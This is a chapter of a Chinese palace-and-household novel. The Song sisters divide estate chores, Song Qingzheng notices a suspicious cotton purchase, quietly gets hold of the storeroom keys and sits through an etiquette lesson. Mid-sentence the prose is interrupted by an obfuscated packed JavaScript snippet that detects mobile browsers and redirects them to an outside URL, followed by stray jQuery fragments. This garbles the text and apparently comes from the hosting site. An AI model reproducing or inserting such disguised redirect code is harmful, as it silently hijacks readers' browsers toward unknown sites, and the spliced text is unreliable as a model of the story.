月光将柳惟恒的影子拉得细长，投在宋府高耸的门墙上。他最后望了一眼江遇消失的巷口，对候在一旁的长随低声道：“回府。”
长随低应一声，牵马过来。马蹄声哒哒敲在石板路上，一人一马很快便没入了深巷的冷风里。
巷角另一头，一只沾满泥泞的鞋尖悄无声息地从废弃角门探出。门内阴影里，一个裹着灰旧裙袄的身影紧贴着门框。冷月清辉掠过，照亮了女子半边脸颊——宽襟领子上，正是秀圆。
而就在这扇破败的角门内，严婆子已将绿衣捆了个结实……
一夜过去，那张浅蓝庚帖是否错拿，似乎已无人深究。太阳照常升起，暖黄的光晕温柔地铺在荣安堂的屋瓦上。
厅内，宋家三姊妹各据一方书案，埋首于分派的府中庶务。宋老夫人交代完要紧事，未置一词便径直离去。
晨光透过槅扇，斜斜映下几道光柱，尘埃在其中静静飞舞。堂内一片寂静，唯闻纸张翻动的簌簌声，间或搁笔的轻响。
宋清兰紧挨宋清徵坐着。摊在她面前的库房物品登记册，页角已被她无意识地揉搓得卷曲发毛。密密麻麻的条目字迹，如同无数蚂蚁在眼前乱爬，搅得她脑仁隐隐作痛。
她烦躁地将笔往笔山上一搁，墨点霎时洇污了册页边缘，却也懒得理会，只用指节用力揉着太阳穴，身子向后重重靠入椅背，发出一丝细微的摩擦声。
目光不由自主便瞟向了身侧。
宋清徵坐得笔直。摊在她面前的账册更厚。只见她一手轻压纸页，一手执笔审阅数字，指尖偶尔在某个条目上略停时，便会在旁侧的素笺上落下几个清隽小字。神情专注沉静，仿佛捧着的不是琐碎账目，而是值得细细品味的古籍。
宋清兰心头那点无名火，悄然又添了一把薪。凭什么自己对着这劳什子账册头疼欲裂，宋清徵却能这般气定神闲？一丝说不清道不明的涩意在她胸腔弥漫开。
她撇了撇嘴，声音不高不低，刚好能让近处的人听清：“啧，可真是好本事。瞧瞧这账册翻得，跟喝凉水似的顺溜。倒显得我们都是榆木疙瘩，几本破册子就抓瞎了呢。”话里带着丝若有若无的酸气，眼神也透出几分不甘。
斜对角，宋清芜正提笔誊抄一份给外庄管事的年节赏赐单子。闻言，她执笔的手腕略略一顿，却并未抬眼，只唇角微不可察地向上勾了一下，仿佛眼前这出，不过是乏味日子里一点微澜。
宋清徵指尖翻过账页，恰好停在一笔不大不小的支项上——
“八月十三日，支银一百二十两，采买上等松江棉布十匹，供府内冬衣缝制之用”。她不禁凝神，若没记错，府中冬衣用料向来由专供的绸缎庄子统一定例，且这采买的日期……似乎过早了些？
她不动声色，提笔在素笺上将此笔账目单独记下。
“五妹妹说笑了。”宋清徵这次并未如往常般无视，反而接过了话头，声音轻缓，“不过是些陈年旧账，看得多了，手熟罢了。倒是五妹妹手上的库房册子，物品繁杂，新旧混杂，要一笔一笔厘清，确实更耗费心神。”
说着，她目光掠过宋清兰身前那本被揉皱的册子，话音自然地一转：“五妹妹若实在不得闲，或是觉得烦难，我这边账目已看得大半，午后倒还有些空闲。库房的清点，我愿代劳，也免得妹妹辛苦。”
这话一出，不仅宋清兰一时愣住，连一直旁观的宋清芜都抬起了眼，眸光微动，带着不加掩饰的审视——这倒是新鲜了？
宋清兰狐疑地侧过身，直盯着宋清徵的脸：“你莫不是拿我寻开心罢？”话虽这么问，心里却巴不得立刻甩脱这烫手山芋。她在宋清徵脸上仔细觑了半晌，见对方神色坦然，似是真有意帮忙，语气里不禁带上了几分亲热：“这怎好劳动三姐姐大驾？那库房又闷又乱，积尘厚重，堆满了陈年旧物，是桩又脏又累的活儿，哪能让三姐姐去受那份罪呀！”
说罢，身子又往宋清徵这边靠近些，脸上堆起了笑：“不过话说回来，三姐姐这份心，真让妹妹感激不尽！如今阖府谁不知道，论看账理事的本事，妹妹我哪里能跟三姐姐您比呀！库房这点小事，对姐姐来说，还不是手到擒来？”
宋清芜笔尖一顿，鼻间逸出一声极轻的冷哼。宋清徵则回以浅浅一笑，语气平和：“五妹不必同我客气。姊妹间相互帮衬本就应当。不过是些陈年旧物，清点一下罢了。五妹妹只管放心。”
宋清兰心头仅存的那点疑虑顿时消了，一股窃喜涌了上来。她几乎是立刻就顺水推舟，脸上笑容也更加明亮：“那妹妹我就厚着脸皮，多谢三姐姐了！”一边说着，一边已飞快地将那本库房册子推到了宋清徵案头，动作轻快得像丢开一块烫手的山芋。
厅内一时又静了下来。宋清兰如释重负，慢悠悠地随手在废纸上涂鸦，眼角眉梢尽是闲适。宋清徵依旧专注于手中的账册，只是翻动纸页的速度似乎比之前更快了些。宋清芜还在誊抄，低垂的眼睫下，眸光微转。
日影渐斜，离晌午去东厢习学宫规的时辰近了。堂内伺候的丫鬟婆子们开始轻手轻脚地收拾笔墨。
就在这时，宋清兰忽然放下茶盏，伸了个懒腰，娇声抱怨道：“坐得腰都僵了，我去更衣，顺便走动走动。”她说着便站起身，脚步轻快地朝堂外走去。经过宋清徵书案时，宽大的袖口状似无意地拂过案角。
待她身影消失在堂外回廊的拐角，宋清徵垂下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309248|182838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光，见书案一角，一方素净的丝帕随意地搁在那里。她不动声色，指尖微动，轻轻挑开帕子一角——
一小串钥匙静静躺在丝帕中央。钥匙形制老旧，最大的一把明显是库房大锁所用，铜面上还沾着未能擦净的陈年污垢。
她眼睫低垂，指尖不着痕迹地将帕子重新掩上，连同那串钥匙一起，轻轻推到了书案最不起眼的角落。动作流畅自然，仿佛只是随手整理了一下桌面的笔墨。
斜对面，宋清芜恰好搁下笔。她抬眼时，目光状似随意地扫过宋清徵的桌面，又掠过宋清徵平静无波的侧脸。
东厢内，郭嬷嬷肃立等候。遴选之期将近，宫规习学一日严过一日。
“今日习‘趋步’之仪。”郭嬷嬷声音沉稳，手中戒尺隐现微光，“垂眸敛衽，步随心动，行止有度。”她亲自示范，裙裾纹丝不动，足下仅移方寸，沉稳异常。
宋清兰心中厌烦，却不敢表露，只垂首，指尖无意识地轻捻着袖口边缘的绣线。
宋清芜凝神观看。轮到她时，莲步轻移，腰肢微摆，动作精准流畅，分毫不差。郭嬷嬷微微颔首：“大姑娘行止有度，甚好。”
宋清兰看得心头发紧，强打精神模仿，手脚却略显僵硬。她偷眼瞟向宋清徵，却见她目光似有飘忽，动作迟滞了半息，步幅也踏得略大了些，在这矜持不苟的氛围里显得有些出神。
宋清兰心头莫名一松。
“三姑娘！”郭嬷嬷声线微沉，戒尺“啪”地轻点在几上。她已踱至宋清徵面前，眉头微蹙：“遴选在即，心神当凝。趋步之礼，贵在心凝行端。重来。”
目光如芒刺在背。宋清徵立刻回神，面颊耳根微热，压下心中焦灼，屈膝低首：“嬷嬷教训的是，清徵知错。”
宋清芜依旧端立，垂眸不语。宋清兰则暗暗收回了目光。
厢内一时只闻铜壶滴漏的“嗒嗒”声。宋清徵凝神屏息，强将全部心神锁于足尖。抬步，落足，裙裾稳帖，一步、两步……她走得极慢，每一步都稳稳踏在方砖缝隙之上。
郭嬷嬷面色稍缓，未再言语，审视的目光松了些许。宋清徵额角渗出细密汗珠，非因动作艰难，而是袖中那串刚得的钥匙，正一下下硌着她的心。她一遍遍告诫自己：眼前这关，必得先过。
习学终于结束。郭嬷嬷略一点头，三位姑娘行礼告退。宋清兰脚步轻快。宋清芜步履从容。
宋清徵却故意落后了半步。待行至回廊无人处，迅速从袖中摸出那方素帕包裹的钥匙串。陈旧铜钥的冷硬触感让她指尖微蜷。她不再犹豫，脚步一转，径直折向库房方向。
午后阳光倾斜，在她身后拉出一道长长的、坚定的影子。